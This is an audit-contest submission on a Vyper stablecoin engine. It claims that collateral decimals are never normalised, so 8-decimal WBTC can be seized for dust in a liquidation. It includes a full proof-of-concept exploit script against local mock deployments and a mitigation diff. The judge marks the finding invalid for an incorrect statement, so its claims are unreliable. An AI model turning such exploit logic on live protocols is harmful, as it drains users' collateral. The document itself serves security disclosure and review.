Algo Ssstablecoinsss

AI First Flight #2
Beginner FriendlyDeFi
EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Collateral decimals are never normalised in _get_usd_value / _get_token_amount_from_usd: 8-decimal WBTC is valued 1e10x too low, so a liquidator seizes ~1 WBTC for ~9e12 wei of DSC and WBTC gives no borrowing power

Root + Impact

Description

  • DSCEngine values each collateral deposit in USD through _get_usd_value, and converts a USD amount of debt back into collateral units through _get_token_amount_from_usd. The health factor, the minting limit and the size of every liquidation seizure all rest on these two functions. The README lists WETH and WBTC on ZKsync Era as the collateral, and says the code should work the same for "any basket of assets".

  • Both functions hard-code an 18-decimal collateral token (PRECISION = 1e18) and an 8-decimal feed (ADDITIONAL_FEED_PRECISION = 1e10). Nothing in scope ever reads token.decimals() or feed.decimals(). WBTC has 8 decimals (1 WBTC = 1e8 units), so _get_usd_value values it 1e10 times too low, and _get_token_amount_from_usd returns 1e10 times too many WBTC units for a given USD amount. liquidate sizes the seizure with that inflated conversion, and its HF-improvement check uses the same mis-scaled valuation. The engine therefore books a liquidation that hands almost a whole WBTC deposit to the liquidator, in exchange for a dust amount of DSC, as a normal 1.1x seizure that improves the user's health factor.

# src/dsc_engine.vy:25-26
@>PRECISION: public(constant(uint256)) = 1 * (10**18)
@>ADDITIONAL_FEED_PRECISION: public(constant(uint256)) = 1 * (10**10)
​
# src/dsc_engine.vy:314-316 (_get_usd_value) - assumes every token has 18 decimals
return (
@> (convert(price, uint256) * ADDITIONAL_FEED_PRECISION) * amount
@> ) // PRECISION
​
# src/dsc_engine.vy:360-364 (_get_token_amount_from_usd) - returns 18-decimal-scaled amounts
return (
@> (usd_amount_in_wei * PRECISION) // (
@> convert(price, uint256) * ADDITIONAL_FEED_PRECISION
)
)
​
# src/dsc_engine.vy:118-120 (liquidate) - the seizure is sized with the conversion above
@> token_amount_from_debt_covered: uint256 = self._get_token_amount_from_usd(
collateral, debt_to_cover
)

Risk

Likelihood:

  • Every WBTC deposit is mis-valued from deployment onwards. WBTC's standard precision is 8 decimals, and the configured ZKsync Era WBTC (moccasin.toml: wbtc = 0xBBeB516fb02a01611cBBE0453Fe3c580D7281011) is expected to follow it. This is an external fact the repo cannot show; it can be confirmed by calling decimals() on a block explorer. The PoC models WBTC with an 8-decimal snekmate ERC20. The engine never reads decimals(), so only the 1e8 unit convention matters.

  • The theft path opens when a user holds WBTC alongside WETH and an ETH price drop takes the position below HF 1 while the engine-valued collateral/debt ratio is still above 1.1. That is the ordinary liquidatable band. Liquidation is permissionless, so any bot or user can take it.

Impact:

  • Direct theft of user collateral. In the PoC the victim holds 10 WETH + 1 WBTC against 10,000 DSC, and ETH falls to $1,900 (engine HF 950000000500000000). The attacker pays 9,090,909,090,909 wei of DSC (about $0.0000091) and receives 99,999,999 WBTC units (0.99999999 WBTC, about $100,000 at $100k/BTC). The victim's debt falls only by that dust amount. The engine records HF 950000000500000000 -> 950000000863636369, an "improvement".

  • WBTC, one of the two advertised collaterals, is useless as collateral:

    • It backs nothing: 1 WBTC supports at most 5e12 wei of DSC, and a $1 mint reverts DSCEngine__BreaksHealthFactor.

    • It cannot rescue a position: a 1 WBTC top-up moves a WETH position's HF by only 5e8 wei, so the user is still liquidated on the WETH leg and pays the 10% bonus while really 11.9x collateralised.

    • It cannot be liquidated at realistic size: a $1,000 cover maps to 1e16 WBTC units against a 1e8 deposit and reverts on the checked subtraction at dsc_engine.vy:251.

Proof of Concept

The PoC deploys the real dsc_engine.vy and decentralized_stable_coin.vy. It wires them as script/deploy_dsc_engine.py does: [wbtc, weth], [btc_feed, eth_feed], then set_minter and transfer_ownership to the engine. It uses 8-decimal MockV3Aggregator feeds (ETH $2,000, BTC $100,000), the repo's 18-decimal mock_token as WETH, and an inline 8-decimal snekmate ERC20 as WBTC.

Run from the repo root: .venv/Scripts/python poc/poc_AS-01.py

"""
PoC AS-01: collateral decimals are never normalised in dsc_engine.vy.
​
_get_usd_value = price * 1e10 * amount // 1e18
_get_token_amount_from_usd = usd * 1e18 // (price * 1e10)
​
Both assume an 18-decimal collateral token. WBTC (a README-listed collateral)
has 8 decimals, so 1 WBTC (1e8 units) is valued 1e10x too low.
​
This PoC deploys the real in-scope contracts (dsc_engine.vy,
decentralized_stable_coin.vy) with the repo's MockV3Aggregator (8-decimal
feeds, like Chainlink USD feeds) and an 8-decimal WBTC (snekmate erc20, defined
inline below because src/mocks/mock_token.vy hard-codes 18 decimals).
​
Run (from the repo root): .venv/Scripts/python poc/poc_AS-01.py
"""
import subprocess
import sys
​
# Windows non-UTF-8 locales (e.g. gbk) cannot read snekmate's UTF-8 sources with
# the default open() codec; re-run this script once in Python UTF-8 mode.
if not sys.flags.utf8_mode:
sys.exit(subprocess.call([sys.executable, "-X", "utf8", *sys.argv]))
​
import boa
from boa.contracts.base_evm_contract import BoaError
​
ENGINE = "src/dsc_engine.vy"
DSC_SRC = "src/decentralized_stable_coin.vy"
MOCK_TOKEN = "src/mocks/mock_token.vy" # 18 decimals -> used for WETH
MOCK_FEED = "src/mocks/MockV3Aggregator.vy"
​
# 8-decimal WBTC, same snekmate erc20 base as the repo's mock_token, decimals=8.
WBTC_SRC = """
from ethereum.ercs import IERC20
implements: IERC20
from snekmate.auth import ownable as ow
initializes: ow
from snekmate.tokens import erc20
initializes: erc20[ownable := ow]
exports: erc20.__interface__
​
@deploy
def __init__():
ow.__init__()
erc20.__init__("Wrapped BTC", "WBTC", 8, "Wrapped BTC", "1")
​
@external
def mint_amount(amount: uint256):
erc20._mint(msg.sender, amount)
"""
​
E18 = 10**18
ONE_WBTC = 10**8 # 8 decimals
ETH_PRICE = 2_000 * 10**8
BTC_PRICE = 100_000 * 10**8
​
​
def usd(x_wei):
return x_wei / E18
​
​
# ------------------------------------------------------------------ deploy
deployer = boa.env.eoa
dsc = boa.load(DSC_SRC)
weth = boa.load(MOCK_TOKEN)
wbtc = boa.loads(WBTC_SRC, name="wbtc")
eth_feed = boa.load(MOCK_FEED, 8, ETH_PRICE)
btc_feed = boa.load(MOCK_FEED, 8, BTC_PRICE)
# same order as script/deploy_dsc_engine.py: [wbtc, weth], [btc_usd, eth_usd]
engine = boa.load(ENGINE, [wbtc.address, weth.address], [btc_feed.address, eth_feed.address], dsc.address)
dsc.set_minter(engine.address, True)
dsc.transfer_ownership(engine.address)
​
assert weth.decimals() == 18
assert wbtc.decimals() == 8
assert eth_feed.latestRoundData()[1] == ETH_PRICE
​
# ------------------------------------------------------------------ 0. baseline / valuation
print("== 0. valuation ==")
weth_val = engine.get_usd_value(weth.address, E18)
wbtc_val = engine.get_usd_value(wbtc.address, ONE_WBTC)
print(f"get_usd_value(1 WETH = 1e18) = {weth_val} (${usd(weth_val):,.6f})")
print(f"get_usd_value(1 WBTC = 1e8) = {wbtc_val} (${usd(wbtc_val):,.12f})")
# baseline: 18-decimal WETH is valued correctly
assert weth_val == 2_000 * E18
# bug: 1 WBTC ($100,000 real) is valued at 1e13 wei = $0.00001, i.e. 1e10x too low
assert wbtc_val == 10**13
assert (100_000 * E18) // wbtc_val == 10**10
amt = engine.get_token_amount_from_usd(wbtc.address, 100_000 * E18)
print(f"get_token_amount_from_usd(wbtc, $100,000) = {amt} units = {amt / ONE_WBTC:,.0f} WBTC (correct: 1e8 units = 1 WBTC)")
assert amt == 10**18 # 1e10 WBTC instead of 1 WBTC
​
# ------------------------------------------------------------------ 1. WBTC backs nothing
print("== 1. WBTC gives no borrowing power ==")
alice = boa.env.generate_address("alice")
with boa.env.prank(alice):
wbtc.mint_amount(ONE_WBTC)
wbtc.approve(engine.address, ONE_WBTC)
engine.deposit_collateral(wbtc.address, ONE_WBTC)
# $1 of DSC against $100,000 of WBTC (correct max at 200% CR: $50,000)
with boa.reverts("DSCEngine__BreaksHealthFactor"):
engine.mint_dsc(1 * E18)
# the most she can mint is 5e12 wei = $0.000005
engine.mint_dsc(5 * 10**12)
with boa.reverts("DSCEngine__BreaksHealthFactor"):
engine.mint_dsc(1)
print(f"alice: 1 WBTC deposited, $1 mint reverts; max mintable = 5e12 wei (${usd(5 * 10**12):.12f}); HF={engine.health_factor(alice)}")
assert engine.health_factor(alice) == E18
​
# ------------------------------------------------------------------ 2. victim with mixed collateral
print("== 2. victim: 10 WETH + 1 WBTC, mints 10,000 DSC ==")
victim = boa.env.generate_address("victim")
with boa.env.prank(victim):
weth.mint_amount(10 * E18)
weth.approve(engine.address, 10 * E18)
engine.deposit_collateral(weth.address, 10 * E18)
wbtc.mint_amount(ONE_WBTC)
wbtc.approve(engine.address, ONE_WBTC)
engine.deposit_collateral(wbtc.address, ONE_WBTC)
engine.mint_dsc(10_000 * E18)
print(f"victim HF at ETH=$2000: {engine.health_factor(victim)}")
​
eth_feed.updateAnswer(1_900 * 10**8)
hf_start = engine.health_factor(victim)
print(f"ETH -> $1900. victim HF = {hf_start} (liquidatable)")
assert hf_start == 950000000500000000
assert hf_start < E18
# real collateral: 10*1900 + 100,000 = $119,000 against $10,000 debt (11.9x)
​
# ------------------------------------------------------------------ 3. realistic-size liquidation against WBTC reverts (underflow)
print("== 3. realistic WBTC liquidation reverts ==")
liq = boa.env.generate_address("honest_liquidator")
with boa.env.prank(liq):
weth.mint_amount(10 * E18)
weth.approve(engine.address, 10 * E18)
engine.deposit_collateral(weth.address, 10 * E18)
engine.mint_dsc(1_000 * E18)
dsc.approve(engine.address, 1_000 * E18)
need = engine.get_token_amount_from_usd(wbtc.address, 1_000 * E18)
print(f"$1,000 of debt maps to {need} WBTC units (deposit is {engine.get_collateral_balance_of_user(victim, wbtc.address)})")
assert need == 10**16 and need > ONE_WBTC
reverted = False
try:
with boa.env.prank(liq):
engine.liquidate(wbtc.address, victim, 1_000 * E18)
except BoaError as e:
reverted = True
msg = str(e).splitlines()
print("liquidate(wbtc, victim, 1000e18) reverted at:", next((l.strip() for l in msg if "dsc_engine" in l), msg[0]))
assert reverted
assert engine.get_collateral_balance_of_user(victim, wbtc.address) == ONE_WBTC
​
# ------------------------------------------------------------------ 4. theft: seize ~1 WBTC for dust DSC
print("== 4. attacker seizes ~1 WBTC for dust DSC ==")
attacker = boa.env.generate_address("attacker")
DUST = 9_090_909_090_909 # ~9.09e12 wei DSC = ~$0.0000091
with boa.env.prank(attacker):
weth.mint_amount(10**12) # 1e-6 WETH (~$0.0019) as collateral for the dust mint
weth.approve(engine.address, 10**12)
engine.deposit_collateral(weth.address, 10**12)
engine.mint_dsc(DUST)
dsc.approve(engine.address, DUST)
assert dsc.balanceOf(attacker) == DUST
assert wbtc.balanceOf(attacker) == 0
victim_debt_before = engine.user_to_dsc_minted(victim)
​
with boa.env.prank(attacker):
engine.liquidate(wbtc.address, victim, DUST)
​
hf_end = engine.health_factor(victim)
seized = wbtc.balanceOf(attacker)
victim_wbtc_left = engine.get_collateral_balance_of_user(victim, wbtc.address)
victim_debt_after = engine.user_to_dsc_minted(victim)
real_value_seized = seized * BTC_PRICE * 10**10 // ONE_WBTC # correct 8-dec valuation, wei-USD
print(f"attacker paid {DUST} wei DSC (${usd(DUST):.10f})")
print(f"attacker received {seized} WBTC units = {seized / ONE_WBTC:.8f} WBTC (real value ${usd(real_value_seized):,.3f})")
print(f"victim WBTC left in engine: {victim_wbtc_left} units; victim debt {victim_debt_before} -> {victim_debt_after}")
print(f"victim HF {hf_start} -> {hf_end} (engine thinks it improved)")
print(f"attacker HF after: {engine.health_factor(attacker)}")
assert seized == 99_999_999 # 90,909,090 + 9,090,909 bonus
assert victim_wbtc_left == 1
assert victim_debt_before - victim_debt_after == DUST
assert hf_end == 950000000863636369 and hf_end > hf_start
assert dsc.balanceOf(attacker) == 0
assert real_value_seized == 99_999_999 * 10**15 # ~$99,999.999
assert real_value_seized // DUST > 10**10 # gain/cost ratio > 1e10
​
# ------------------------------------------------------------------ 5. WBTC top-up cannot save a position; liquidated on the WETH leg
print("== 5. WBTC top-up cannot save a WETH position ==")
eth_feed.updateAnswer(ETH_PRICE)
bob = boa.env.generate_address("bob")
with boa.env.prank(bob):
weth.mint_amount(10 * E18)
weth.approve(engine.address, 10 * E18)
engine.deposit_collateral(weth.address, 10 * E18)
engine.mint_dsc(10_000 * E18)
eth_feed.updateAnswer(1_900 * 10**8)
hf_pre = engine.health_factor(bob)
with boa.env.prank(bob):
wbtc.mint_amount(ONE_WBTC)
wbtc.approve(engine.address, ONE_WBTC)
engine.deposit_collateral(wbtc.address, ONE_WBTC) # +$100,000 real collateral
hf_post = engine.health_factor(bob)
print(f"bob HF before top-up {hf_pre}, after +1 WBTC top-up {hf_post} (real C/D = $119,000 / $10,000 = 11.9x)")
assert hf_post < E18 and hf_post - hf_pre == 500000000 # top-up moved HF by 5e8 / 1e18
weth_before = weth.balanceOf(liq)
with boa.env.prank(liq):
engine.liquidate(weth.address, bob, 1_000 * E18)
got = weth.balanceOf(liq) - weth_before
print(f"liquidator covered $1,000 of bob's debt and took {got} wei WETH (${got * 1900 / E18:,.2f} at $1900 = $1,100, i.e. 10% bonus)")
assert got == (1_000 * E18 * E18 // (1_900 * 10**18)) * 110 // 100
​
print("PASS: AS-01 proven -- 8-dec WBTC valued 1e10x too low; ~1 WBTC seized for ~9.09e12 wei DSC; WBTC gives no borrowing power, cannot be liquidated at realistic size, and cannot rescue a position")

The script ends with: PASS: AS-01 proven -- 8-dec WBTC valued 1e10x too low; ~1 WBTC seized for ~9.09e12 wei DSC; WBTC gives no borrowing power, cannot be liquidated at realistic size, and cannot rescue a position

Recommended Mitigation

Normalise every conversion by the token's own decimals, and pin the feed decimals the maths assumes at construction (or normalise them too).

--- a/src/dsc_engine.vy
+++ b/src/dsc_engine.vy
@@ imports @@
from ethereum.ercs import IERC20
+from ethereum.ercs import IERC20Detailed
from src.interfaces import AggregatorV3Interface
@@ storage @@
token_address_to_price_feed: public(HashMap[address, address])
+token_address_to_decimals: public(HashMap[address, uint256])
@@ def __init__ @@
self.token_address_to_price_feed[token_addresses[1]] = price_feed_addresses[
1
]
+ for i: uint256 in range(2):
+ self.token_address_to_decimals[token_addresses[i]] = convert(
+ staticcall IERC20Detailed(token_addresses[i]).decimals(), uint256
+ )
+ assert (
+ staticcall AggregatorV3Interface(price_feed_addresses[i]).decimals() == 8
+ ), "DSCEngine__UnsupportedFeedDecimals"
@@ def _get_usd_value @@
return (
(convert(price, uint256) * ADDITIONAL_FEED_PRECISION) * amount
- ) // PRECISION
+ ) // (10 ** self.token_address_to_decimals[token])
@@ def _get_token_amount_from_usd @@
return (
- (usd_amount_in_wei * PRECISION) // (
+ (usd_amount_in_wei * (10 ** self.token_address_to_decimals[token])) // (
convert(price, uint256) * ADDITIONAL_FEED_PRECISION
)
)
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!